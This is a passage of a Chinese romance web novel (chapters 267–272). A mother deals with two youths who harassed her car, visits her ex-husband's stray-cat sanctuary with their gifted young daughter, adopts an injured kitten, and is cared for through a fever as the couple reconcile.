宋清殊停好车,回头看了一眼惊魂未定的王岁岁,和一脸镇定的珍珠,简单解释了一句:“珍珠比较……特殊,你拿她当正常大人就好。”
之后,她开门下车。
布加迪上的人也下来了,开车的是个年轻男孩,而副驾驶上是个熟人,廖绮。
副驾驶上的门已经打不开了,廖绮从驾驶位爬出来的,很是狼狈。
出来后,廖绮也是一脸惊魂未定,不知是不是受了伤,她一直捂着颈椎的位置。
“你怎么开车的?!”一见宋清殊,廖绮先发制人,叉着腰对她而视,哪里还有前阵子可怜兮兮求着她把温世誉让给她的样子?
宋清殊在心里笑这个小姑娘表演型人格。
面上却神色冷静地看着两人,淡声道:“我有行车记录仪,附近也有监控。你们跟了我两条街,刚才还违规变道,故意拦截我,我怀疑你们要在这条路上谋杀我。”
“谁要谋杀你了,被害妄想症吧你!”廖绮尖着嗓子叫。
此时,她还没有意识到问题的严重性。
她今天坐朋友的跑车出来玩,看见宋清殊的车,再想起之前的事,气不打一出来,不由分说便指挥朋友开车抹她。
她这个朋友也是个20岁左右的毛头小子,正是年轻气盛,喜欢跟女孩显摆的年纪。
一听廖绮说这辆车里的人是她的死对头,马上起了劲儿,在大马路上炫起了他的车技。
“你放心,车上还坐着她女儿呢,她不敢乱来,你这样能吓死她。”廖绮还在车上鼓励他。
做坏事的两人洋洋得意,还时不时发出得逞的狂笑声。根本没想到宋清殊会撞上来。
“我们好好的开车,你不长眼睛撞上来。现在你把我朋友车撞坏了,还是想想怎么赔吧!”廖绮还在强词夺理。
那个男孩子虽然也是个小富二代,但到底还是学生,这辆布加迪是求着父母买来的第一辆车,屁股还没坐热。
一见撞成这个样子,更是心疼得不得了。
“就是,这辆车是全新的,只修也不行,必须赔我一辆!”他说。
他和廖绮两人,气势汹汹堵着宋清殊,嗓门奇大。
以至于车上的王岁岁和珍珠怕宋清殊吃亏,都下来了,站在她身旁。
“没事。”宋清殊对两人安抚笑笑。
她直接打电话报了警。
警察很快到了,一起到的,还有盛熙川和王千巽。
第267章 相思
是珍珠和王岁岁在车上分别联系了盛熙川和王千巽。
所以他们一到,一大一小两个女孩明显都松了口气。
她们像两个小狗,各自见到了自己的主人,欢快地飞奔过去。
盛熙川伸手把珍珠抱了起来,给宋清殊一个眼神,让她别担心。
宋清殊微笑了一下,也回给他一个宽慰眼神。
而王千巽则直接把王岁岁拉到了自己身边,用目光上下检查了一遍。
看到她没有受伤,他紧绷的神经才稍稍放松下来。
王千巽自然知道宋清殊不是鲁莽的人,不会乱来。可看到消息后,还是在第一时间一颗心都提了起来。
他松口气的神情王岁岁看在眼里,心里涌过一丝酸涩暖意。
她打字给王千巽大致说了事情的经过,不知怎么,那只手有点抖。
王千巽看着她在屏幕上打的那几行字,握住她的手,什么都没说。
同时到了十几个警察,持械。
他们团团把廖绮和她朋友围了起来。
“我们这是交通事故,你,你不报交警,报公安做什么?”廖绮嚣张的气焰弱下去,她很吃惊,语气都带了慌。
而那个男孩早在看到盛熙川的那一刻就觉察出了事情的严重性,他拿出手机给自己的父母打电话,声音都在发抖。
“你们涉嫌寻衅滋事,危害公民的个人生命安全,跟我们走一趟!”为首的那个警员说。
之后,现场拉警戒保护,廖绮和那个男孩被带上了警车。
“宋清殊,你不能这样,我们没有要杀你,就是吓唬你一下!”
廖绮在上车的前一刻大喊。
到底是孩子,她的慌乱已经无处遁形。
“车子放在这儿吧,会有人来处理。”
盛熙川说,一手抱着珍珠,一手拉开自己的车门。
他今天没带司机,亲自开车,让宋清殊和珍珠坐后排。
而王岁岁那边也已经被王千巽安顿到了车上。
他们彼此说了再见。
启动了车子,盛熙川才问宋清殊:“你刚才准备去哪儿的?”
宋清殊还没开口,珍珠抢先道:“没什么计划,等爸爸安排呢。”
宋清殊睨她一眼,这个鬼灵精!
盛熙川知道珍珠在给自己创造机会,也不由莞尔。
他跟珍珠商量:“本来刚才爸爸要去流浪小院的,那边的管家叔叔说刚在高架桥上救回来了一只猫。那正好,带宝宝去爸爸的流浪猫基地看看,好不好?”
小孩子都喜欢动物,尽管珍珠小朋友身体里住了个老灵魂,也不例外。
她一听,顿时双眼放光,举双手赞同。
“太好了!”
难得这个沉稳的小孩还小小地欢呼了一下。
一路上珍珠都很兴奋,一改往日的沉默,小嘴问个不停。
“爸爸,你那个小院叫千猫王国,真的有一千只猫吗?”
“还不到。”盛熙川说,“现在有两百多只。”
“这么多,都是爸爸救助的吗?”
“有一些是爸爸救助的,还有一些是别的爱猫人士救助,但自己养不了,送过来的。”
“那,爸爸,你做这些很多年了吗?”
盛熙川又“嗯”了一声:“跟妈妈在一起之前就在做了。”
说的不准确,宋清殊明明记得管家说,他在读书时期就在做流浪动物救助了。
她到现在还记得自己第一次跟他去流浪猫小院的场景。
那时她被沈小鸢刁难,心情差到了极点,是他大晚上陪她散心,把她带去了那里。
她还记得那只叫苏黄的狗,以及,第二天清晨,他为她煮的粥。
盛熙川本身是个很好的人,他们那时只是太年轻,也不知道如何爱彼此,便一路走的磕磕绊绊。
现在想想,也已经四年了。
这个小院她总共也没去过几回,还有一回过去,盛熙川徒手给一只被人虐待断了尾巴的小奶牛猫包扎,还被咬伤了。
想起这个,宋清殊便问:“那只奶牛猫……小宝,还在吗?”
盛熙川有一瞬间的顿住,又很快道:“还在。现在13斤了,有点超重,在减肥。”
珍珠一双眼睛瞪圆:“是说有只猫跟妈妈一样,也叫小宝吗?什么样子?”
宋清殊自己问的,反而因为这个名字有点尴尬。
“一只断了尾巴的奶牛猫,之前爸爸救助的。有段时间一直养在临江别墅。”她解释。
就是不知道现在是在小院还是在别墅。
“哦,妈妈,你是说相思啊!现在还在别墅,我上周还去跟它玩了!”珍珠反应过来,她说的哪只。
“可你为什么叫它小宝?”
宋清殊:“……”
这个意思是说小宝改名了吗?也是,他们离了婚,每天看见一个跟前妻一样名字的小猫,还不够盛熙川闹心的。
只是它的新名字也太……
是因为她走了,才给猫改名叫相思吗?
宋清殊一时间找不出合适的表情来面对这件事。
盛熙川更是尴尬地咳了一声,想岔开话题。
“小院有很多和相思一样有点缺陷的猫猫,但都很可爱,等你到了可以跟它们玩。”他说,“还有前阵子爸爸跟妈妈一起救的一只猫,叫猪猪,现在也长大了,你可以看看。”
“好。”
珍珠被暂时转移了注意力,随着盛熙川聊了几句。
可她没那么好糊弄。
过了一会儿,又想起来,在心里捋了一下这件事。
“所以……爸爸,相思之前的名字叫小宝?你跟妈妈离婚后,非常想妈妈,就给它把名字改成了相思?”
盛熙川:“咳……”
起初是因为无法面对这个名字,每天睹猫思人,精神几度崩溃。
到后来,便干脆摆烂,直接改名叫相思了。
他跟宋清殊诉衷肠的时候也不是没说过肉麻的话,可直接被女儿问到脸上,也觉得自己的举动似乎有点中二了。
“……没想那么多,随口起的。”他硬着头皮解释。
珍珠不信,感叹:“爸爸,你好痴情哦。”
盛熙川:“……换个话题。”
他声音平直干涩,已经能听出尴尬,可偏偏珍珠还要搭着前面的座椅,去看他的侧脸。
“爸爸,你脸红了。”
宋清殊实在没想过盛熙川有一天会栽在自己女儿手里。
她想笑,低头极力憋住,调震动模式。
谁知,珍珠又猛地转头。
“妈妈,你脸也红了。”
第268章 珍珠神助攻
宋清殊正在一旁看盛熙川的热闹,怎么也没想到火会烧到自己身上。
她被珍珠问得心里一慌,说话都结巴了。
“有,有吗?”宋清殊双手捂自己的脸,明显心虚,“可能是天太热,穿的有点厚吧。”
如果说刚才她的脸只是微红,被珍珠一诈,直接红透了。
此时,车子停在红绿灯口,盛熙川转头看她,眼神里带了带狡黠笑意。
两人的眼神有一瞬间的交汇,纠缠。
宋清殊先输阵,迅速别开眼。
盛熙川不敢笑她,只悄悄地对珍珠眨了一下眼。
他暗想,这就是有天才女儿的好处吧,起码,能在关键时刻推他一把。
因此,在被女儿调侃的尴尬之余,又隐隐有几分骄傲。
一时间,三人都不再言语,车内的氛围有点怪。
这种怪异氛围,一直到上了山才稍稍的缓解。
流浪猫比宋清殊上次来更多了。
此时已经入夏,它们在草丛里树梢上打滚,抓虫子,一个个看上去很欢快。
因为是半散养状态,依然不怕生人,见到三人过来,甚至有几个竖着尾巴跑过来,在盛熙川脚边绕圈子。
各个花色的田园猫,一个圆滚滚的,又不是虚胖,看上去很壮实。
珍珠看得目不暇接,蹲下身去摸。
“宝宝,小心一点,这边的小猫要爬树,不像相思是剪过指甲的。”盛熙川温声提醒。
珍珠不怕。
“它们不会伤害我的。”
珍珠说着,直接伸手摸了摸一个大胖橘的原始袋。
“四郎,你说对不对?”
大橘用脑门上的气味腺蹭了蹭珍珠的小肉胳膊,干脆躺倒下来,直接把肚皮给她摸。
身后跟来的管家都笑了:“四郎太给小姐面子了,从来不跟我们撒娇打滚,平时高冷得很,一见小姐就露肚皮了。不过,小姐怎么知道它叫四郎?”
这个问题,管家是无心的,随口一问。
可宋清殊身上的汗毛都竖了起来。
她下意识看盛熙川,发现盛熙川也在看她。
两人一时间都有点头皮发麻。
“你知道它叫四郎吗?”盛熙川轻声问她。
宋清殊摇头:“我应该没见过这只小胖猫。”
上次她跟风盛熙川来送猪猪也没有逗留太久,并没有人专门跟她介绍过这只猫。
盛熙川也确定自己绝对没跟珍珠说过。
而且这边四郎这样的橘猫有十几只,不熟悉的人看它们都一样,根本分不清哪个是哪个。
两人看彼此的眼神波涛暗涌,都像有话要说,却又都迅速冷静下来。
珍珠还在摸橘猫的肚子,见爸爸妈妈瞬间的安静,马上若无其事道:“《甄嬛传》粉丝不都管四郎叫大橘吗?那我管大橘叫四郎很合理。”
她是真的挺爱看电视剧。
可这合理吗?好牵强的解释。
“是,很合理,而且它真的叫四郎,宝宝猜对了。”盛熙川先笑着附和。
宋清殊:“……”
他这个为了女儿装聋作哑的程度,怕是哪天珍珠会御剑飞行,也觉得合理。
宋清殊抚了抚手臂上的鸡皮疙瘩,告诉自己这世界上就是有一部分人比普通人感知力更强一些,这不是什么值得大惊小怪的事。
一直到把自己说服了,才敢直视珍珠。
此时,那只叫苏黄的狗狗也摇着尾巴来迎接。
时隔四年,它居然还记得宋清殊,直接往她身上扑。
宋清殊跟它玩了会儿,才问盛熙川:“苏黄多大了?”
盛熙川:“捡它的时候就是只成年狗了,现在怎么也要八九岁了。”
“那它不会嫌这些小猫烦吗?”
盛熙川:“过去都是它打扰猫,现在我看的确有点想躲清静了。正准备过阵子把它接到别墅去养呢。”
宋清殊没有亲自养过小动物,这方面的知识很匮乏,却也知道这只狗一定对盛熙川来说意义非凡。
毕竟,它叫苏黄。就像那只现在叫相思的猫一样。
想起相思,宋清殊的思绪飘了飘,又迅速稳住。
珍珠陪四郎玩了一会儿,也过来看苏黄。
“爸爸,不如你早点把它接过去吧。”她说。
盛熙川给珍珠一个询问的眼神,珍珠微微点了下头。
宋清殊也懂了,一时间氛围又有点怪。
“好,今天就让他们送到别墅去,给苏黄养老。”盛熙川强颜欢笑,伸手摸苏黄的头。
苏黄虽然听不懂这几个人的言外之意,但盛熙川一摸它,激动地尾巴都要摇成一把小扇子了。
又跟苏白玩了一会儿,盛熙川才问起那只在高架桥上救的猫。
管家说,小猫被压断了一条腿。但它应该是被人为扔到高架桥上的,所以很怕人,想抓它去给腿做手术,难度很大。
这边很多猫刚来的时候都是这种情况,所以盛熙川并不意外。
他拿了手套和猫条,直接去了隔离室。
宋清殊和珍珠自然是跟过去。
那是一只长毛小玳瑁,很漂亮。
他们过去看时,小玳瑁正躲在隔离室的角落里哀嚎,叫声很弱,看上去瑟瑟发抖。
盛熙川走近查看。
小玳瑁却像是疯了一样,全身的毛都炸了起来,从他的腿边跑开,冲到了另一边的角落里。
盛熙川撕开猫条,又一只手戴好手套,放慢步子跟过去。
似曾相识的场景,宋清殊想起他救助小奶牛的那天来。
“你当心!”她忍不住提醒,自己都没察觉声音在发抖。
盛熙川给她一个宽慰眼神。
谁知,小玳瑁比那时的小奶牛还难抓,拖着一条断腿,依然尖叫着跑得飞快。
盛熙川试了几次才将它抓住,手臂难免被它的后爪蹬出了几条血印子。
珍珠凑过去看它。
“宝宝,你退后!”盛熙川沉声道。
珍珠不动。
她依然盯着小玳瑁看。
不知怎么,小玳瑁竟然奇异的安静了下来。
盛熙川把小玳瑁装进了航空箱里。
珍珠隔着航空箱的门伸出小胖手,小玳瑁竟然用脑袋蹭起了门,还打上了呼噜。
宋清殊和盛熙川相对淡定。
一旁的管家直接看傻了。
“小姐面善,它居然一看见小姐就不闹了。”
第269章 去看看相思
在珍珠小朋友的帮助下,小玳瑁很顺利地被送到了流浪小院自己的宠物医院。
管家跟医生沟通,他们“一家三口”在一旁等。
也是这个时候,宋清殊终于忍不住问珍珠:“宝宝,你为什么能做到这些?你是……能跟它们沟通吗?”
嘴上问着,心里又怕珍珠说出奇怪的话来。
如果珍珠说,有个菩萨显灵告诉她的这些,宋清殊觉得自己会直接吓死。
“我最近看了宠物沟通的一些资料,今天只是想随便试试,居然真的可以。”珍珠说。
……是个比有菩萨显灵好一些的答案,不过也没有好到哪里去就是了。
宋清殊头皮发麻的感觉又来了。
谁知,珍珠偏偏又问,“妈妈你要学吗?”
宋清殊不想扫她的兴,硬着头皮说:“好啊,教教妈妈。”
“那你让自己身体和心灵完全放松下来,看着它。然后,不要用三维世界的感官,试试用你的松果体和它说话。”
宋清殊:“……谢谢你,可妈妈是个麻瓜,妈妈的松果体不会说话。”
盛熙川在一旁“噗”的笑出声来。
他抱起珍珠,看了看不远处正在做检查的小玳瑁,问她:“那你跟它说了什么?”
珍珠:“我告诉它,就算再不喜欢人类也至少要装装样子,起码先活下来,其余的事等活下来再说。”
盛熙川:“……”
好理智的答案。
他以为珍珠会告诉它,爸爸是个好人,正在救它,让它不要怕。
是他肤浅了。
小玳瑁的断腿因为拖了太久,需要截肢。
“截肢后最好单独照顾一段时间,就是不知道等小姐走了它还能不能这么听话,乖乖让人上药。”
在带去手术室之前,医生说。
珍珠不假思索:“把它给我吧,我在这里等着,它做完手术后我带回去照顾。”
宋清殊下意识:“宝宝,这是一条小生命,没那么容易养,带回去就要对它负责的……”
还没有说完,她突然想起王千巽在飞机上说过的话来。
“你喜欢小动物,但从来不养。”
王千巽说,很多事情上,因为不敢面对结局,她直接拒绝了开始。
这个性格特点的确帮她规避了风险,却也让她少了很多人生体验。
想到这里,宋清殊话锋急转,“妈妈愿意跟你一起照顾,给它起个名字好不好?”
这番话说的,像开了趟过山车。
不知道珍珠有没有意识到,反正盛熙川看她,憋着笑投来饶有趣味的一眼。
接着,也对珍珠道:“还有爸爸,爸爸养了很多年猫,可以帮你。”
珍珠又小小地欢呼了一声。
小玳瑁的手术时间比较长,他们三个又往山的更高处走,去看在度假村小河沟里救的那只玄猫猪猪。
猪猪正在山上抓虫子,一见他们过来,便火速跑到了盛熙川脚下,翻着肚皮打起了呼噜。
才不过半年时间,猪猪竟然已经从小鼻嘎长成一辆小猫车,看上去圆滚滚的。
但它显然已经不认识宋清殊了,只对着盛熙川一个人撒娇。
“猪猪好胖。”珍珠蹲下来挠它的下巴。
不出意外,猪猪也瞬间臣服,用爪子玩珍珠的裤脚。
盛熙川莞尔:“嗯,妈妈名字取得好,猫如其名。”
珍珠一惊一乍:“难怪我长得圆圆的!”
才三岁半的珍珠小朋友,已经开始为体重困扰了。
此言一出,宋清殊和盛熙川都不由地都笑起来。
笑完,两人下意识望向彼此。
也许是初夏的午后天气太好,也许是那只叫相思的小奶牛带动了氛围。
他们的目光纠缠在一起,莫名的有千言万语。
“哎哟,磕到了!”珍珠小朋友说。
宋清殊母爱的本能觉醒,她火速回身,冲过去抱她:“宝宝,哪里磕到了?”
珍珠被她的迟钝惊到,用小肉手扶脑门,一副无语的模样:“妈妈,磕cp磕到了。”
宋清殊:“……”
她的脸色瞬息万变,精彩极了。
盛熙川在一旁看着两人,心里软成一团云。
后来,一只三条腿的狸花猫叼了一只鼩鼱过来,猪猪兴奋地跑去看,珍珠也跟了过去。
只剩了盛熙川和宋清殊在原地。
“找时间去家里看看相思吧。”盛熙川突然对宋清殊说。
她下意识想拒绝。
盛熙川伸手按住她的肩,把她额前的碎发拨到耳后去。
“别怕,也别躲。我不逼你,我们慢慢来。”
他目光灼热,所到之处一路点火。
宋清殊垂下长睫,不去看他,可她的脸在下午的日头下一点点烧起来。
一个小时后,小玳瑁截肢完成,也醒了麻醉。
珍珠跑去拥抱它。
“珍珠,你告诉它,以后你就是它的姐姐了。我们来照顾它。”宋清殊对珍珠说。
珍珠很淡定:“我已经说过了。”
用她的松果体。
回去的路上,珍珠没有坐儿童座椅,她坐在后排,全程抱着小玳瑁。
小玳瑁依偎在她怀里,看上去尤其可怜巴巴。
“给它取个名字吧。”盛熙川说。
“叫玛瑙吧,”珍珠说,“这样一听就是我妹妹。”
这样说着,又把小玳瑁往自己身上贴了贴,问它:“你叫玛瑙好不好?”
小玳瑁举着一节缠着绷带的断腿攀上珍珠脖子。
它听懂了。
“接下来至少五天,我会带医生上门替玛瑙打点滴和换药,方便吗?”盛熙川又问。
这话当然是问宋清殊的,珍珠没什么不方便,她巴不得天天看见爸爸。
珍珠会意,马上用一双大眼睛巴巴地看着宋清殊。
宋清殊尴尬:“你来就是了。”
不知道的,还以为她是什么阻拦人家父女团聚的坏人。
盛熙川:“那还要感谢玛瑙给我这个机会了。”
这话宋清殊没接,她脸上的热度又上来了。
这边三人其乐融融,那边廖绮和她朋友还在警察局里被问话。
两个养尊处优的小富二代,第一次进这种地方,都紧张得冷汗直流。
“我要见家人,还有律师!”廖绮说。
“会的,不过不是现在。现在,我们需要跟您核实一些情况,做一下笔录。”
第270章 得罪了不该得罪的人
廖绮和那个男孩子开车在路上恶意排挤、追赶宋清殊的事,证据确凿。
这件事可大可小。
小了说是开车斗气,教育两句,写个保证书也就算了,往大了就是蓄意谋杀。
显然宋清殊根本没想着算了,她自始至终报警说的都是觉得自己的生命安全受到了威胁。
她的车有360度无死角的行车记录仪,那段路也有监控,何况,那个男孩子是直接跨多车道转弯,违章在先。
所以这件事她甚至不用出面,直接从法务部派了个律师过去交涉。
两人当天直接被羁押,留在了看守所。
廖绮的母亲也从花都赶来,先去和那男孩的父母见面。
说来也巧,男孩姓陈,叫陈越,跟盛夫人还沾点关系。
他的爸爸是盛夫人陈婉容的堂侄子,按辈分叫陈婉容一声姑奶奶。
廖母对上京的这些世家贵胄不了解,但陈父门清儿。
了解完这件事的来龙去脉后,陈父的冷汗都下来了。
且不说现在宋清殊的风头正盛,在上京也是个人物,单看盛熙川对她的态度,也不是能得罪得起的。
因此,陈家父母对廖母也是一肚子火。
他是男人,不好意思指着一个女人的鼻子骂,但他老婆阴阳怪气。
“我家越越是个老实有分寸的孩子,绝对是被人带坏了,才有今天这一出。
这上京谁不知道,宋清殊是什么人?谁不知道,得罪宋清殊就是得罪盛熙川?
我儿子又不傻,好好的,怎么敢一直别她的车?”
廖母在上京本来就没有多硬的门路,被陈母一通阴阳后也有点蒙。
她想起自己不久前还警告过宋清殊,更是一个头两个大。
现在这种情况,她又不敢顶嘴,生怕自己跟陈家父母吵起来她女儿没人管了。
只能强压着心里的火气,做小伏低。
“事情已经发生了,再埋怨谁也没意义。”廖母陪着小心,“要不,咱们先去找宋清殊谈谈?”
陈父冷笑:“正常这个时候都能找律师会见了,现在律师都进不去,还能指望什么?要说就等着,看看宋清殊什么时候消气,愿意把人放出来。
毕竟也没出人命,说不定,宋清殊就是想小惩大诫。现在往枪口上撞,不是啥好事!”
陈父说的这些,有一定道理,可道理是道理,哪个母亲不心疼孩子?
特别是廖母,对廖绮从小溺爱,生怕她受半点委屈。
廖母的神情带了点恳求:“还是找个人去说和说和呢?绮绮从小哪吃过这样的苦?而且她腿还没利索……”
陈母在这件事上倒是跟她统一战线,也说:“小孩子懂什么,说不定就等着咱们做大人的服软呢。要不……跟堂姑那边说说?”
盛夫人的地位有多尴尬,外人都是猜测,但陈氏家族多少知道一些。
估计说了也没用。
但好像除了她,他们也没别的门路。
这样想着,第二天一早,陈家夫妇就拎着东西去了盛家老宅。
巧得很,夫妻俩刚在前厅坐下,就有人进来汇报,说大少爷带着小小姐来了。
盛夫人表面功夫一向周全,赶紧让人把之前准备好的一箱玩具洋娃娃送了出去。
“跟大少爷说,我这边有客人,一会儿再去看他们。”
这些年都是这样,不管盛熙川在不在意,盛夫人要先拿出态度来。
顿时陈家夫妇俩面面相觑,两人的神色都是讪讪的。
陈太太先开口:“堂姑,我们今天来,还真跟贵府的小小姐有关。”
她不知道盛夫人认不认珍珠这个孙女,也不知道盛熙川让不让自己女儿叫她奶奶,不好直说“您孙女”。
盛夫人果然皱起眉头:“我这一天在家都呆傻了,不知道你们还有瓜葛呢?”
陈先生也赶忙陪笑脸,把昨天陈越得罪宋清殊的事说了。
“那边既不放人,又不让律师会见,我们也没办法,才求到您这里来了。您看能不能跟大少爷说两句好话……”
盛夫人不能说自己人微言轻,不然她这些年的苦心钻营,怎么看都像个笑话。
她喝口茶,淡淡地说:“这个忙,表姑帮不了。”
“手心手背都是肉,越越是你们的心肝大宝贝,小珍珠更是个宝,我们司令稀罕的什么似的。”
盛夫人说,“越越别宋清殊的车时,珍珠也在车上,就凭这一点,这件事都不可能这么算了。”
听盛夫人这样说,陈先生和陈太太又对视一眼,都有点不甘心。
“越越也是受了挑唆,他是个孩子,没那么多的心眼。当时根本都不知道车里是谁,要是知道也不至于的……”
陈太太做小伏低,“您跟大少爷递句话,等孩子出来,要打要骂都使得,孩子长这么大都没进过那地方,现在应该吓坏了。”
盛夫人只是一味摇头。
陈南枝的事她就被盛熙川警告过,说的还特别难听,这个忙,怎么都不敢帮的。
陈先生和陈太太碰了一鼻子灰往外走,正看到盛熙川带着珍珠在池塘边看鱼。
两人对视一眼,陈太太推了陈先生一把。
陈先生硬着头皮走过去:“小爷……我是陈越的父亲。”
他不敢跟盛熙川攀亲,称兄道弟。
盛熙川闲闲地看他一眼:“谁是陈越?”
陈先生不知他是真不知道还是装傻,只能继续陪笑脸:“犬子不懂事,昨天冲撞了小姐和她母亲……”
“哦~”盛熙川好像才知道他是谁一样,“你说,昨天那个谋杀犯啊?”
“不是……越越还小,不懂事,是被那个廖绮教唆……”陈太太接口。
盛熙川冷冷一眼瞟过去:“我女儿在那辆车上,吓得魂不守舍。我盛家的骨肉要是出了什么问题,这责任谁承担得起?”
陈太太还想辩解,被陈先生瞪了一眼。
“那这样,等他出来,让他给您……给宋小姐和小小姐磕头认错,要打,要骂都使得,您看……”
盛熙川冷笑:“说这话没用,打骂有用,要法律做什么?陈越涉嫌谋杀我女儿,这事儿,我不松口,找宋清殊也没用。”
千不该万不该,陈太太来了一句:“这沾亲带故的……”
第271章 你要不要献个殷勤
盛熙川冷笑:“跟谁沾亲带故?我怎么不知道盛家有你们这门亲戚?”
陈太太还想说什么,陈先生赶忙又跟她使眼色,眼睛恨不能飞蚊症都眨出来了。
就时,珍珠随手指了池塘里一条鱼,问盛熙川:“爸爸,这个鱼学名叫什么?”
“宝宝,你问哪条鱼?”
盛熙川还没转身,脸上神色已经变得柔和,语气都软了许多。
变脸之快,让两人都吃了一惊。
盛熙川抱着珍珠看鱼去了,陈家夫妇更加知道了珍珠和宋清殊的分量。
两人复不复婚放在一边,就冲她是盛熙川女儿的母亲,这事就小不了。
两人信心不足地去,灰头土脸地回,等在陈家的廖母也跟着心都灰了。
宋清殊的确是想小惩大诫,先把两人关个几天。
之后,写保证书,承诺再不打扰她,也就算了。
所以这事儿她不着急出面,也不知道陈越父母已经求到了盛家。
盛熙川给她发微信,简单说了一下这件事。
宋清殊不想乱猜,直接问:【那你什么意思?】
她知道盛熙川跟盛夫人关系很差,想的他可以借着这件事谈谈条件什么。
就像他们刚结婚那年,盛熙川利用“戒指事件”把盛夫人的弟弟踢出了盛世集团的财务部门,也算是她从中配合。
【盛熙川:先关着吧,不关不长记性,等你气消了再说。】
宋清殊:……
她不是个情绪化的人,倒也没有多气。
【小惩大诫】她说。
当晚,她又接到了温世誉的电话。
从上周的表白闹剧后,他这几天都没露面,宋清殊接的很快。
“世誉。”她一如既往的温柔和气,听上去丝毫没有芥蒂。
温世誉那边明显愣了一下。
许久,才道:“姐姐,听说你被廖绮撞车了?”
宋清殊“嗯”了一声:“没什么大事,我们都没事。”
温世誉沉默了好一会儿。
他不说话,宋清殊也不说。
过了许久,温世誉才缓缓道:“姐姐,对不起。”
他的声音听上去落寞得让人心疼。
宋清殊虽然年轻,但已经是一个三岁半小孩的妈妈,更何况,珍珠的智商又不只有三岁半,宋清殊跟珍珠相处和跟一个大学生相处也差不了许多。
所以在她眼里,只当温世誉是个孩子。
就跟廖绮和陈越一样,都是孩子。
可以引导,做错事小惩大诫。
何况,他只是喜欢她,又没犯什么错。
“这件事怪不得你,你也不用太往心里去。我自己会处理好的。”宋清殊柔声安慰了他两句。
温世誉又跟她聊了几句,这次怎么也没敢提表白的事。
他们的关系好像又回到了最初的状态,宋清殊很满意。
廖绮和陈越两人在看守所一共住了五天。
这五天正好是盛熙川带医生上门给小玛瑙打点滴换药的日子。
不知是因为珍珠的沟通能力强,还是玛瑙本身就是个神奇小猫,总之,玛瑙的到来丝毫没有给宋清殊和珍珠两个新晋铲屎官造成任何困扰。
别人养猫要猜猫咪的喜好,珍珠可以直接问,少走了不少弯路。
她能迅速找到玛瑙喜欢的猫粮和罐头,也能快速知道她喜欢吃煮熟的虾和鸡胸肉,但不喜欢吃鱼。
也知道它原来有过家,只是跑丢后被坏人带走了。
不过宋清殊母女有个一直被玛瑙深恶痛绝的恶趣味。
玛瑙一只前爪截肢,撒尿的时候要举起来,一到这个时候,两人就过来围着它笑。
以至于玛瑙每次尿完,甚至来不及埋猫砂,便追着珍珠“啊呜啊呜”地发脾气,抓她的裤脚。
珍珠笑够了才抱它,一抱,玛瑙便又开始翻肚皮。
珍珠有时候叫它玛瑙,有时候叫它妹妹,它都听得懂。
不过几天时间,宋清殊觉得珍珠脸上的笑容都增多了。
独生女突然多了个“妹妹”,还有爸爸每天过来看望,她当然会开心。
因为玛瑙的存在,宋清殊也越发觉得珍珠需要朋友和交际。
她甚至准备过几天跟她商量一下,哪怕不愿意去幼儿园,培训班也可以多去几个。
一个本该在人堆里成长的小朋友,天天独自在家也不像话。
盛熙川来一般都是傍晚,医生给玛瑙扎上针先走,他和珍珠一起陪着玛瑙打完点滴。
宋清殊下班后,一般两人都能撞见,他会略微坐一会儿,却又不会久到让她不自在,分寸感掌握的刚刚好。
在珍珠看来,盛熙川太见外了。
只有他自己知道,这是走了不少弯路得来的经验。
对宋清殊来说,太激烈的情感只会把她吓走。
她喜欢润物无声,春风化雨。他能做的就是一点点浸润她的生活,急不得。
只有一天,一大早盛熙川就收到了珍珠的微信。
【爸爸,今天你的机会来了,早点过来。】她说。
【盛熙川:?什么机会?】
【珍珠:我妈妈发烧了,正常情况下这个烧你不照顾也能退,但你要不要来献个殷勤?】
盛熙川一时间哭笑不得。
珍珠这样的孩子简直理智的要命。
【宝宝,你的第一反应难道不该是担心妈妈的身体?】
珍珠很平静——
【我发现妈妈发烧是半小时之前,现在已经过了第一反应的阶段。】
行吧。
一时间,盛熙川甚至觉得珍珠比他更像个大人。
他原本有个重要会议,现在也顾不上了,迅速赶去了宋清殊住处。
珍珠来门口接他,直接拉着他的手,旋开了主卧的门。
主卧的窗帘没拉开,也没开灯,幽暗一片。
宋清殊缩在被子里,只露出一张煞白的小脸,额上贴着一个儿童退热贴,脸上出了一层的汗。
她听到了门口的动静,只说:“珍珠,出去,不要被妈妈传染。”
她没睁眼,也不知道盛熙川站在门口看她。
珍珠要开口。
盛熙川做了个“嘘”的手势。
于是,珍珠给了盛熙川一个“你自己看着办”的眼神,先行走了。
盛熙川放轻脚步,走过去,坐在了宋清殊的床边。
她的脸很红,想必是觉得热,又伸手扯开了被子。
夏凉被被拉到腰间。
床上的病人闭着眼舒展了下身体。
春光乍现。
她身上是一件吊带背心,露出雪白的肩颈和手臂,再往下……
盛熙川默不作声,走过去,把被扯开的夏凉被拉回去。
第272章 恍惚
发烧的人不依,又把被子扯下去。
“姐,热。”
宋清殊大概以为来的是哪个保姆,依然闭着眼,哼唧了一声,有撒娇的意思。
日思夜想的人就在身边,还是这样一个没有任何防备的姿态。
心脏在胸腔中乱跳,盛熙川抿着唇,调整自己的呼吸。
明明脚踩着地板,人坐在床边,可他有种莫名的悬浮感,觉得自己像晕船。
被子又被宋清殊往下拉了几寸,接着,他看到了她露出来的一截白花花的腰。
盛熙川的喉结滚了几滚。
他起身,迅速走出去。
两个保姆在客厅等着。
盛熙川问她们宋清殊怎么发的烧。
“昨天家里刚开中央空调,应该是天气刚热,空调又吹太凉了,进了寒气,发发汗就好了。”雪姐说。
“可惜她不喜欢姜味,喝不了红糖姜茶,要不然这个最见效。”芝姐也说。
盛熙川心里了然。
“给她换个薄一点的毯子,把肚脐盖上。”他吩咐。
说完,直接去了厨房。
盛熙川直接开了两个灶,一个灶上开了珐琅锅,锅热后倒入一罐可乐,姜切片,倒进去,煮沸。
另一个灶上,用小火煮着白粥。在一边的案板上切了青菜碎,等锅开倒进去。
途中珍珠进来。
她用译制片腔调惊叹:“哦,天呐,我看到了什么!
难道是全上京最有地位的男人在为心爱的女人洗手做羹汤吗?”
她一边说,一边靠着门框,探进一颗毛茸茸的头,对盛熙川眨眼,像个鬼灵精。
盛熙川:“……宝宝,难怪妈妈说你喜欢看狗血偶像剧。”
一个天才幼儿,不爱看动画片,爱看电视剧,怪有趣的。
盛熙川看自己女儿,哪里都可爱,哪里都有趣。
一想起来,都嘴角上扬的程度。
珍珠在门口看着不走,盛熙川便直接把她抱起来,让她坐在料理台旁边的高脚凳上。
父女俩一起看着火聊天。
“爸爸,我感觉你很快就要成功了。”珍珠说。
盛熙川用木勺子搅了搅粥锅:“你怎么感觉的?”
